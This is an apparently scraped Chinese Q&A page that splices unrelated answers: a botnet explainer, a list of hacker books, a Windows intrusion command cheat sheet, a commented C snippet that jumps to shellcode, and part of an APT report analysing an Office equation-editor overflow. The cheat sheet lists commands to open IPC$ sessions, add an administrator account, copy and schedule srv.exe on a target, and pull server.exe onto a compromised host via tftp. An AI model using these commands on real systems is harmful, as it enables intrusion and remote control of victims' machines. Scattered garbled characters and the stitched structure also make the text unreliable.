‘壹’ 僵尸网络是什么
僵尸网络是指采用一种或多种传播手段,将大量主机感染bot程序(僵尸程序),从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。
攻击者通过各种途径传播僵尸程序感染互联网上的大量主机,而被感染的主机将通过一个控制信道接收攻击者的指令,组成一个僵尸网络。之所以用僵尸网络这个名字,是为了更形象的让人们认识到这类危害的特点:众多的计算机在不知不觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着,成为被人利用的一种工具。
在Botnet的概念中有这样几个关键词。“bot程序”是robot的缩写,是指实现恶意控制功能的程序代码;“僵尸计算机”就是被植入bot的计算机;“控制服务器(Control Server)”是指控制和通信的中心服务器,在基于IRC(因特网中继聊天)协议进行控制的Botnet中,就是指提供IRC聊天服务的服务器。
Botnet
首先是一个可控制的网络,这个网络并不是指物理意义上具有拓扑结构的网络,它具有一定的分布性,随着bot程序的不断传播而不断有新位置的僵尸计算机添加到这个网络中来。
其次,这个网络是采用了一定的恶意传播手段形成的,例如主动漏洞攻击,邮件病毒等各种病毒与蠕虫的传播手段,都可以用来进行Botnet的传播,从这个意义上讲,恶意程序bot也是一种病毒或蠕虫。
最后一点,也是Botnet的最主要的特点,就是可以一对多地执行相同的恶意行为,比如可以同时对某目标网站进行分布式拒绝服务(DDos)攻击,同时发送大量的垃圾邮件等,而正是这种一对多的控制关系,使得攻击者能够以极低的代价高效地控制大量的资源为其服务,这也是Botnet攻击模式近年来受到黑客青睐的根本原因。在执行恶意行为的时候,Botnet充当了一个攻击平台的角色,这也就使得Botnet不同于简单的病毒和蠕虫,也与通常意义的木马有所不同。
僵尸网络是互联网上受到黑客集中控制的一群计算机,往往被黑客用来发起大规模的网络攻击,如分布式拒绝服务攻击(DDoS)、海量垃圾邮件等,同时黑客控制的这些计算机所保存的信息,譬如银行帐户的密码与社会安全号码等也都可被黑客随意“取用”。因此,不论是对网络安全运行还是用户数据安全的保护来说,僵尸网络都是极具威胁的隐患。僵尸网络的威胁也因此成为目前一个国际上十分关注的问题。然而,发现一个僵尸网络是非常困难的,因为黑客通常远程、隐蔽地控制分散在网络上的“僵尸主机”,这些主机的用户往往并不知情。因此,僵尸网络是目前互联网上黑客最青睐的作案工具。
对网友而言,感染上“僵尸病毒”却十分容易。网络上搔首弄姿的美女、各种各样有趣的小游戏,都在吸引着网友轻轻一点鼠标。但事实上,点击之后毫无动静,原来一切只是骗局,意在诱惑网友下载有问题的软件。一旦这种有毒的软件进入到网友电脑,远端主机就可以发号施令,对电脑进行操控。
专家表示,每周平均新增数十万台任人遥控的僵尸电脑,任凭远端主机指挥,进行各种不法活动。多数时候,僵尸电脑的根本不晓得自己已被选中,任人摆布。
僵尸网络之所以出现,在家高速上网越来越普遍也是原因。高速上网可以处理(或制造)更多的流量,但高速上网家庭习惯将电脑长时间开机,唯有电脑开机,远端主机才可以对僵尸电脑发号施令。
网络专家称:“重要的硬件设施虽然非常重视杀毒、防黑客,但网络真正的安全漏洞来自于住家用户,这些个体户欠缺自我保护的知识,让网络充满地雷,进而对其他用户构成威胁。”
Botnet的发展过程
Botnet是随着自动智能程序的应用而逐渐发展起来的。在早期的IRC聊天网络中,有一些服务是重复出现的,如防止频道被滥用、管理权限、记录频道事件等一系列功能都可以由管理者编写的智能程序所完成。于是在1993 年,在IRC 聊天网络中出现了Bot 工具——Eggdrop,这是第一个bot程序,能够帮助用户方便地使用IRC 聊天网络。这种bot的功能是良性的,是出于服务的目的,然而这个设计思路却为黑客所利用,他们编写出了带有恶意的Bot 工具,开始对大量的受害主机进行控制,利用他们的资源以达到恶意目标。
20世纪90年代末,随着分布式拒绝服务攻击概念的成熟,出现了大量分布式拒绝服务攻击工具如TFN、TFN2K和Trinoo,攻击者利用这些工具控制大量的被感染主机,发动分布式拒绝服务攻击。而这些被控主机从一定意义上来说已经具有了Botnet的雏形。
1999 年,在第八届DEFCON 年会上发布的SubSeven 2.1 版开始使用IRC 协议构建攻击者对僵尸主机的控制信道,也成为第一个真正意义上的bot程序。随后基于IRC协议的bot程序的大量出现,如GTBot、Sdbot 等,使得基于IRC协议的Botnet成为主流。
2003 年之后,随着蠕虫技术的不断成熟,bot的传播开始使用蠕虫的主动传播技术,从而能够快速构建大规模的Botnet。着名的有2004年爆发的Agobot/Gaobot 和rBot/Spybot。同年出现的Phatbot 则在Agobot 的基础上,开始独立使用P2P 结构构建控制信道。
从良性bot的出现到恶意bot的实现,从被动传播到利用蠕虫技术主动传播,从使用简单的IRC协议构成控制信道到构建复杂多变P2P结构的控制模式,Botnet逐渐发展成规模庞大、功能多样、不易检测的恶意网络,给当前的网络安全带来了不容忽视的威胁。
Botnet的工作过程
Botnet的工作过程包括传播、加入和控制三个阶段。
一个Botnet首先需要的是具有一定规模的被控计算机,而这个规模是逐渐地随着采用某种或某几种传播手段的bot程序的扩散而形成的,在这个传播过程中有如下几种手段:
(1)主动攻击漏洞。其原理是通过攻击系统所存在的漏洞获得访问权,并在Shellcode 执行bot程序注入代码,将被攻击系统感染成为僵尸主机。属于此类的最基本的感染途径是攻击者手动地利用一系列黑客工具和脚本进行攻击,获得权限后下载bot程序执行。攻击者还会将僵尸程序和蠕虫技术进行结合,从而使bot程序能够进行自动传播,着名的bot样本AgoBot,就是实现了将bot程序的自动传播。
(2)邮件病毒。bot程序还会通过发送大量的邮件病毒传播自身,通常表现为在邮件附件中携带僵尸程序以及在邮件内容中包含下载执行bot程序的链接,并通过一系列社会工程学的技巧诱使接收者执行附件或点击链接,或是通过利用邮件客户端的漏洞自动执行,从而使得接收者主机被感染成为僵尸主机。
(3)即时通信软件。利用即时通信软件向好友列表发送执行僵尸程序的链接,并通过社会工程学技巧诱骗其点击,从而进行感染,如2005年年初爆发的MSN性感鸡(Worm.MSNLoveme)采用的就是这种方式。
(4)恶意网站脚本。攻击者在提供Web服务的网站中在HTML页面上绑定恶意的脚本,当访问者访问这些网站时就会执行恶意脚本,使得bot程序下载到主机上,并被自动执行。
(5)特洛伊木马。伪装成有用的软件,在网站、FTP 服务器、P2P 网络中提供,诱骗用户下载并执行。
通过以上几种传播手段可以看出,在Botnet的形成中传播方式与蠕虫和病毒以及功能复杂的间谍软件很相近。
在加入阶段,每一个被感染主机都会随着隐藏在自身上的bot程序的发作而加入到Botnet中去,加入的方式根据控制方式和通信协议的不同而有所不同。在基于IRC协议的Botnet中,感染bot程序的主机会登录到指定的服务器和频道中去,在登录成功后,在频道中等待控制者发来的恶意指令。图2为在实际的Botnet中看到的不断有新的bot加入到Botnet中的行为。
在控制阶段,攻击者通过中心服务器发送预先定义好的控制指令,让被感染主机执行恶意行为,如发起DDos攻击、窃取主机敏感信息、更新升级恶意程序等。图3为观测到的在控制阶段向内网传播恶意程序的Botnet行为。
Botnet的分类
Botnet根据分类标准的不同,可以有许多种分类。
按bot程序的种类分类
(1)Agobot/Phatbot/Forbot/XtremBot。这可能是最出名的僵尸工具。防病毒厂商Spphos 列出了超过500种已知的不同版本的Agobot(Sophos 病毒分析),这个数目也在稳步增长。僵尸工具本身使用跨平台的C++写成。Agobot 最新可获得的版本代码清晰并且有很好的抽象设计,以模块化的方式组合,添加命令或者其他漏洞的扫描器及攻击功能非常简单,并提供像文件和进程隐藏的Rootkit 能力在攻陷主机中隐藏自己。在获取该样本后对它进行逆向工程是比较困难的,因为它包含了监测调试器(Softice 和O11Dbg)和虚拟机(VMware 和Virtual PC)的功能。
(2)SDBot/RBot/UrBot/SpyBot/。这个家族的恶意软件目前是最活跃的bot程序软件,SDBot 由c语言写成。它提供了和Agobot 一样的功能特征,但是命令集没那么大,实现也没那么复杂。它是基于IRC协议的一类bot程序。
(3)GT-Bots。GT-Bots是基于当前比较流行的IRC客户端程序mIRC编写的,GT是(Global Threat)的缩写。这类僵尸工具用脚本和其他二进制文件开启一个mIRC聊天客户端, 但会隐藏原mIRC窗口。通过执行mIRC 脚本连接到指定的服务器频道上,等待恶意命令。这类bot程序由于捆绑了mIRC程序,所以体积会比较大,往往会大于1MB。
按Botnet的控制方式分类
(1)IRC Botnet。是指控制和通信方式为利用IRC协议的Botnet,形成这类Botnet的主要bot程序有spybot、GTbot和SDbot,目前绝大多数Botnet属于这一类别。
(2)AOL Botnet。与IRC Bot类似,AOL为美国在线提供的一种即时通信服务,这类Botnet是依托这种即时通信服务形成的网络而建立的,被感染主机登录到固定的服务器上接收控制命令。AIM-Canbot和Fizzer就采用了AOL Instant Messager实现对Bot的控制。
(3)P2P Botnet。这类Botnet中使用的bot程序本身包含了P2P的客户端,可以连入采用了Gnutella技术(一种开放源码的文件共享技术)的服务器,利用WASTE文件共享协议进行相互通信。由于这种协议分布式地进行连接,就使得每一个僵尸主机可以很方便地找到其他的僵尸主机并进行通信,而当有一些bot被查杀时,并不会影响到Botnet的生存,所以这类的Botnet具有不存在单点失效但实现相对复杂的特点。Agobot和Phatbot采用了P2P的方式。
Botnet的危害
Botnet构成了一个攻击平台,利用这个平台可以有效地发起各种各样的攻击行为,可以导致整个基础信息网络或者重要应用系统瘫痪,也可以导致大量机密或个人隐私泄漏,还可以用来从事网络欺诈等其他违法犯罪活动。下面是已经发现的利用Botnet发动的攻击行为。随着将来出现各种新的攻击类型,Botnet还可能被用来发起新的未知攻击。
(1)拒绝服务攻击。使用Botnet发动DDos攻击是当前最主要的威胁之一,攻击者可以向自己控制的所有bots发送指令,让它们在特定的时间同时开始连续访问特定的网络目标,从而达到DDos的目的。由于Botnet可以形成庞大规模,而且利用其进行DDos攻击可以做到更好地同步,所以在发布控制指令时,能够使得DDos的危害更大,防范更难。
(2)发送垃圾邮件。一些bots会设立sockv4、v5 代理,这样就可以利用Botnet发送大量的垃圾邮件,而且发送者可以很好地隐藏自身的IP信息。
(3)窃取秘密。Botnet的控制者可以从僵尸主机中窃取用户的各种敏感信息和其他秘密,例如个人帐号、机密数据等。同时bot程序能够使用sniffer观测感兴趣的网络数据,从而获得网络流量中的秘密。
(4)滥用资源。攻击者利用Botnet从事各种需要耗费网络资源的活动,从而使用户的网络性能受到影响,甚至带来经济损失。例如:种植广告软件,点击指定的网站;利用僵尸主机的资源存储大型数据和违法数据等,利用僵尸主机搭建假冒的银行网站从事网络钓鱼的非法活动。
可以看出,Botnet无论是对整个网络还是对用户自身,都造成了比较严重的危害,我们要采取有效的方法减少Botnet的危害。
Botnet的研究现状
对于Botnet的研究是最近几年才逐渐开始的,从反病毒公司到学术研究机构都做了相关的研究工作。最先研究和应对Botnet的是反病毒厂商。它们从bot程序的恶意性出发,将其视为一种由后门工具、蠕虫、Spyware 等技术结合的恶意软件而归入了病毒的查杀范围。着名的各大反病毒厂商都将几个重要的bot程序特征码写入到病毒库中。赛门铁克从2004 年开始,在其每半年发布一次的安全趋势分析报告中,以单独的章节给出对Botnet活动的观测结果。卡巴斯基也在恶意软件趋势分析报告中指出,僵尸程序的盛行是2004年病毒领域最重大的变化。
学术界在2003年开始关注Botnet的发展。国际上的一些蜜网项目组和蜜网研究联盟的一些成员使用蜜网分析技术对Botnet的活动进行深入跟踪和分析,如Azusa Pacific大学的Bill McCarty、法国蜜网项目组的Richard Clarke、华盛顿大学Dave Dittrich和德国蜜网项目组。特别是德国蜜网项目组在2004年11月到2005 年1月通过部署Win32蜜罐机发现并对近100个Botnet进行了跟踪,并发布了Botnet跟踪的技术报告。
Botnet的一个主要威胁是作为攻击平台对指定的目标发起DDos(分布式拒绝服务攻击)攻击,所以DDos的研究人员同样也做了对Botnet的研究工作。由国外DDosVax组织的“Detecting Bots in Internet Relay Chat Systems”项目中,分析了基于IRC协议的bot程序的行为特征,在网络流量中择选出对应关系,从而检测出Botnet的存在。该组织的这个研究方法通过在plantlab中搭建一个Botnet的实验环境来进行测试,通过对得到的数据进行统计分析,可以有效验证关于Botnet特征流量的分析结果,但存在着一定的误报率。
国内在2005年时开始对Botnet有初步的研究工作。北京大学计算机科学技术研究所在2005年1月开始实施用蜜网跟踪Botnet的项目,对收集到的恶意软件样本,采用了沙箱、蜜网这两种各有优势的技术对其进行分析,确认其是否为僵尸程序,并对僵尸程序所要连接的Botnet控制信道的信息进行提取,最终获得了60,000 多个僵尸程序样本分析报告,并对其中500多个仍然活跃的Botnet进行跟踪,统计出所属国分布、规模分布等信息。
国家应急响应中心通过863-917网络安全监测平台,在2005年共监测到的节点大于1000个的Botnet规模与数量统计如图4所示。
这些数据和活动情况都说明,我国国内网上的Botnet的威胁比较严重,需要引起网络用户的高度重视。
CCERT恶意代码研究项目组在2005年7月开始对Botnet的研究工作,通过对大量已经掌握的Botnet的实际跟踪与深入分析,对基于IRC协议的Botnet的服务器端的特征进行了分类提取,形成对于Botnet 服务器端的判断规则,从而可以对网络中的IRC Server进行性质辨别。设计并初步实现了Botnet自动识别系统,应用于中国教育和科研计算机网络环境中。
可以看出,从国内到国外,自2004年以来对Botnet的研究越来越多地受到网络安全研究人员的重视,研究工作已经大大加强。但是这些工作还远远不够,在检测和处置Botnet方面还有许多工作要做。
Botnet的研究方法
对于目前比较流行的基于IRC协议的Botnet的研究方法,主要使用蜜网技术、网络流量研究以及IRC Server识别技术。
(1)使用蜜网技术。蜜网技术是从bot程序出发的,可以深入跟踪和分析Botnet的性质和特征。主要的研究过程是,首先通过密罐等手段尽可能多地获得各种流传在网上的bot程序样本;当获得bot程序样本后,采用逆向工程等恶意代码分析手段,获得隐藏在代码中的登录Botnet所需要的属性,如Botnet服务器地址、服务端口、指定的恶意频道名称及登录密码,以及登录所使用到的用户名称,这些信息都为今后有效地跟踪Botnet和深入分析Botnet的特征提供了条件。在具备了这些条件之后,使用伪装的客户端登录到Botnet中去,当确认其确实为Botnet后,可以对该Botnet采取相应的措施。
(2)网络流量研究。网络流量的研究思路是通过分析基于IRC协议的Botnet中僵尸主机的行为特征,将僵尸主机分为两类:长时间发呆型和快速加入型。具体来说就是僵尸主机在Botnet中存在着三个比较明显的行为特征,一是通过蠕虫传播的僵尸程序,大量的被其感染计算机会在很短的时间内加入到同一个IRC Server中;二是僵尸计算机一般会长时间在线;三是僵尸计算机作为一个IRC聊天的用户,在聊天频道内长时间不发言,保持空闲。将第一种行为特征归纳为快速加入型,将第二、三种行为特征归纳为长期发呆型。
研究对应这两类僵尸计算机行为的网络流量变化,使用离线和在线的两种分析方法,就可以实现对Botnet的判断。
(3)IRC Server识别技术的研究。通过登录大量实际的基于IRC协议的Botnet的服务器端,可以看到,由于攻击者为了隐藏自身而在服务器端刻意隐藏了IRC服务器的部分属性。同时,通过对bot源代码的分析看到,当被感染主机加入到控制服务器时,在服务器端能够表现出许多具有规律性的特征。通过对这些特征的归纳总结,就形成了可以用来判断基于IRC协议的Botnet的服务器端的规则,这样就可以直接确定出Botnet的位置及其规模、分布等性质,为下一步采取应对措施提供有力的定位支持。
以上三种研究方法都是针对基于IRC协议的Botnet。对于P2P结构的Botnet的研究较少,原因是由于其实现比较复杂,在网络中并不占有太大比例,同时也因为其在控制方式上的分布性使得对它的研究比较困难。但随着Botnet的发展,对于P2P结构的Botnet的研究也将进一步深入。
‘贰’ 怎么把shellcode转化为c语言
要么重新用C语言实现shell脚本实现的功能,要么使用c调用这个脚本(个人观点)
‘叁’ 我想自学计算机请问我要要买那些最基础的资料书啊
1.《黑客入门》
这是我看的第一本黑客书籍,是比较初级的一些黑客知识,但是后面的实例运用到了html代码,主要是讲
网页方面入历指渗侵知识,当时我自己也看不懂那些,因此就去把html学一下(其实也就是看看代码而已,自己
根本写不出啥代码来,呵呵……)
2.《30天打造专业红客》
任何一本写着什么几天精通,几天速成的书,其实都是不可信的,但这不是我们现在要讲的问题,这本书
可以弥补上本书中的本足之处,里面有一些内容可能讲得会比较详细些,适合初学者。
3.《防黑档案》
这本书是东方飘云写的,好像就是绿色兵团的副司令吧,呵呵,我先顶一下…………
4.《黑客攻防实战入门》
这是一本以实战为主线的黑客书籍,大力推荐!!!必竟电脑技术本来就是要在实践中才能提高的,光靠
理论是行不通,你可以边看此书边操作,相信对于你的实战能力会有所帮助的。
上面这些都是一些黑客入门方面的书籍,其中有部分是相同,大家可择其善者而从之!!!
5.《C语言程序设计》
不学编程的人是永远不可能成为黑客的,因此学编程也成为我们在学黑道路上的必经之路,也是最需要精
力与耐力的过程。这本就是谭浩强写的那本,大家也可以看看老外写的那本《the c programe language》,
如果你能将书中的代码都自己调试操作一遍,对于C语言基础知识的掌握应该不成问题。
6.《VC++深入详解》
这是一本他人根据孙鑫的视频教程编写的一本书,因此这本书也就有其配套视频了,地址如下:
http://tech.163.com/special/0009159F/vc.html
7.《IBM-PC汇编语言程序设计》
这是清华大学出版的,虽然有点过时了,是本16位机器时代的,与现在的win32,win64有点差别,但其本
质也是大同小异的,相信对于想学习逆向分析的战友们,汇编也是一项必修课啊,关于此书,各位可以看
看中山大学的汇编语言视频教程,其教学方式也是比较新颖的,大家一看便知,地址如下:
http://bbs.topsage.com/dispbbs_121_164375_1.html
如果想要看在线视频,可通过下面地址查看:http://202.116.65.193/Ncourse/hbyy/hb01/,
将后面的hb01改为02,03……即可,不过很慢,缓冲都要N久,我是等得不耐烦了,呵呵
8.《windows环境下的32位汇编语言程序设计》
就是罗云彬写的那本,如果你学完了上本汇编书籍或视频,那么就可以开始学习win32汇编了,要知道这本
书我是用手机看的,呵呵,不容易啊,因为缺乏实践,因此自己学得也不咋滴,自己是打算先简单看一遍
,简单了解个大概,再看第二遍,这遍以实践操作为主,最后再系统地复习一遍,这项任务,本人尚未完
成啊,以上意见也只是给大家做个参考而已,希望对大家有所帮助。
9.《ASP从入门到精通》
想学脚本入侵的战友,脚本语言是一定要学的,有机会也最好自己做个博客之类的站点。这本书后面有很
多的实例项目,如后台管理,收费系统等等。另外还有一本我自己看过的关于asp的书——《ASP可视化编
程与应用》,此书是在dreamweaver下面的实践操作,也算是在学asp的同时,也学习一下dreamweaver的
使用,一举两得。这两本书中对html以及vbscript均有所讲解,因为asp中可嵌入vbscript,javascript.
10.《php高手宝典》
此书我逗腔是没看过,只是看了下目录与开头而已,打算后面有时间再补看一下,因此对此书我也没有什么发
言权了,有看过的战友可以发表一下意见。
11.《黑客反汇编揭秘》
这是一本关于逆向分析的书,与其配套的还有一本叫《黑客调试技术揭秘》,反汇编这本书网上有电子书
,大家可下载来看,pdf格式的,但是调试这本书我没找到,在网上写着调试的书名,下载下来才发现是反
汇编那本书.这两本书对汇编知识均有一定的要求,因此建议大家先学完汇编再看。
12.《网络黑客加密与解密》
这本书里面有一些脚本入侵方面的一点知识,内容较少,主要是讲加解密方面的知识,后面有大部分的破
解实例讲解,但注释较少,我自己当时也是看得迷糊迷糊的(没办法,自己汇编能力差点,呵呵)
13.《加密解密全方位学习》
这本书我是在图书馆看到的,适合加解密初学者,因为这本书要求的预备知识不高,只要有点C语言基础就
可以,里面肢脊会讲到一些相对简单些的汇编指令,以及crackme的简单制作,还有注册机的编写(个人觉得不
是很详细)
14.《加密与解密》
就是看雪学院那本书,第三版快出来了,就在这一二月份吧!我 看的是第二版的电子书,还没看完,这本
书在加解密方面写得算是比较完整详细的了,而且是从基础讲起,循序渐进,大力推荐,若要学习逆向工
程,看雪学院也确实是个不错的地方。
15.《shellcode编程揭秘》
这是一本关于缓冲区溢出攻击的书,我自己也没看过,不过电子书倒是有,就放在邮箱里面,呵呵,打算
后面再看,关于溢出攻击的书还有很多,如《网络渗透技术》,《缓冲区溢出攻击检测,预防,剖析》,
《the shellcode handbook》
16.《深入理解计算机系统》
此书也是我在图书馆借的,被我霸占了半年之久,这次又被我借回来复习一下了(真对不起各位书友啊,
呼呼……),这是一本站在程序员的角度写的一本书,因此也必须要有C语言基础,要是有unix系统的操作
经验会更好,因为这本书中的代码就是在UNIX下调试操作的。相信这本书对于你学出更好的代码会有一定
的帮助,其中还有特别的一章用来讲解如何编写高效的程序,并以一个实例代码来讲解,一步步地进行完
善,最终写出一个高效率的程序。这本书也是学溢出攻击方面的基础知识,在安全焦点上也说这本书是《
网络渗透技术》的基础知识,但看完这本书也不一定能看懂网渗,呵呵……
17.《rootkit:windows内核安全防护》
内容简介
本书是目前第一本关于rootkit的详尽指南,包括rootkit的概念、它们是怎样工作的、如何构建和检测它们
。世界顶级软件安全专家、rootkit.com创始人Greg Hoglund和James Butler向大家详细介绍攻击者是如何
进入系统并长期驻留而不会被检测到的,以及黑客是如何摧毁Windows XP和Windows 2000内核系统的,
其概念可以应用于现代任何主流操作系统。通过本书,读者可以全面掌握rootkit,提升自己的计算机安全
防范能力.
18.《0day安全:软件漏洞分析技术》
四月份刚出版的,看雪论坛的,有看过一部分学得还不错,适合对溢出感兴趣的战友们。要告诉你点常识…虽然多,但都是基本的!希望你可以用心去学!
DOS 命令
net use ipipc$ " " /user:" " 建立IPC空链接
net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: ipc$ 登陆后映射对方C:到本地为H:
net use ipipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:
administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schele)
net stop 服务名 停止某服务
net time 目标ip 查看对方时间
net time 目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直
ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参
数"/all"显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-
H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A-
S *.*"表示删除当前目录下除系统文件以外的所有文件
二:
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统
确认就直接删除。(二个命令作用相同)
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命
令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:
2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文
件)至本地C:
x 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将"IP"的
server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式
(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文
本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway
addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 望采纳O(∩_∩)O
‘肆’ 一段C语言代码详解
shellcode[] 中汪知猜包含的是一段执行相关功能的硬编码 (手工写困型的二进制代猛滚码);
// 进入 main() 的时候栈是:
// [RET] main 函数返回地址
// [EBP]
int *ret;
// 到这里:
// [RET]
// [EBP]
// [int *ret]
ret = (int *)&ret + 2;
// 到这里:
// [RET] <- ret
// [EBP]
// [ret] -> RET
(*ret) = (int)shellcode;
// 到这里:
// [shellcode] <- ret
// [EBP]
// [ret]
这样, 当 main 返回时, 会执行 shellcode 中的指令代码.
‘伍’ hex文件转换成C语言
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。
1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不野销在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
通过这个实例 ,相信应该能理解一个大致的流程啦。
‘陆’ e5cc_8哪个参数设定地址
一、 概述
“黑凤梨”(BlackTech,T-APT-03)是一个长期活跃在亚洲地区的APT组织,其最早的活动可见于2011年,由2017年5月被国外安全公司进行披露。
近期,腾讯御见威胁情报中心抓获了一例该APT组织的最新攻击活动,该次攻击采用office文档为诱饵进行鱼叉攻击,通过最新的0day漏洞来投递载荷。载荷为代号为PLEAD的RAT木马,该木马主体是可直接执行的二进制代码(shellcode),精湛短小,非常容易免杀。
从2011年至今,腾讯御见威胁情报中心在跨度长达6年的时间内对该组织进行追踪,总共捕捉到数百个样本和c&c域名。
二、 载荷投递
1、 本次载荷投递
本次攻击采用鱼叉攻击的方式,诱饵文件为繁体的携带有最新office 0day的文档:
该恶意文档内嵌了一个PEPayload,两个OLE对象,OLE的对象的目的是拉起PE Payload。其中OLE1则包含了0day CVE-2018-0802的漏洞利用程序,OLE 2包含了CVE-2017-11882的漏洞利用程序,这两个漏洞均位于Microsoft Office的公式编辑器Eqnedt32.exe中。
(1) 漏洞分析
微软在11月份发布的补丁中,修复了CVE-2017-11882漏洞,通过二进制patch的方式对存在栈溢出的函数和调用者进行了长度校验,同时对Eqnedt32.exe增加了ASLR防护措施,增加了漏洞利用的难度。CVE-2017-11882栈溢出漏洞存在于Eqnedt32.exe处理公式中字体名字的过程中,由腾讯电脑管家报告的高危漏洞CVE-2018-0802同样也是一个栈溢出漏洞,也位于Eqnedt32.exe处理公式中字体名字的过程。
1) 关键数据结构
漏洞存在于Office的公式编辑器组件Eqnedit.exe(Equation Editor)中。Equation Editor和MathType都是Design Science开发的公式编辑软件,都采用MTEF(MathType’s Equation Format)格式来存储公式数据。Equation Editor生成的公式数据汇存放在Office 文档的一个OLEObject中,该object class为Equation.3,而obj data区存放的是公式的私有数据OLE Equation Objects。OLE Equation Objects包括两部分,头部是28字节的EQNOLEFILEHDR结构,其后则是MTEF数据:
MTEF数据则包括两部分,一部分是MTEF Header,一部分是描述公式内容的MTEF Byte Stream:
MTEFByte Stream包括一系列的记录records,每一个record以tagbyte开始,tagbyte的低4位描述该record的类型,高4位描述该record的属性。
2) 漏洞溢出分析
该漏洞发生在从MTEF Byte Stream中解析Font Record时出现栈溢出。下图是截获的样本中的Font Record二进制数据:
Font Record结构如下:
对照上图的二进制数据,tag type 是8,tface 为0×0,style为0×1,剩下的则是字体名字。
漏洞发生在sub_421E39函数中,它主要用来初始化一个结构体LOGFONT,该结构体定义如下:
其中字体名字lfFaceName是一个长度为0×20的字符数组。
函数sub_421E39代码如下:
在sub_421E39函数一开始,调用strcpy复制传入的字体名字,可以看到在这过程中,没有任何的长度校验,如果传入的字体名字长度超过0×20,那么这里将会产生溢出。
sub_421E39函数在sub_421774函数中被调用,这是sub_421774函数的部分代码:
从中可以看到,sub_421E39函数初始化的LOGFONT结构体是保存在栈上的,如果构造足够长的字体名字,那么sub_421E39函数里面的strcpy操作,将会溢出覆盖掉sub_421774函数的返回地址。
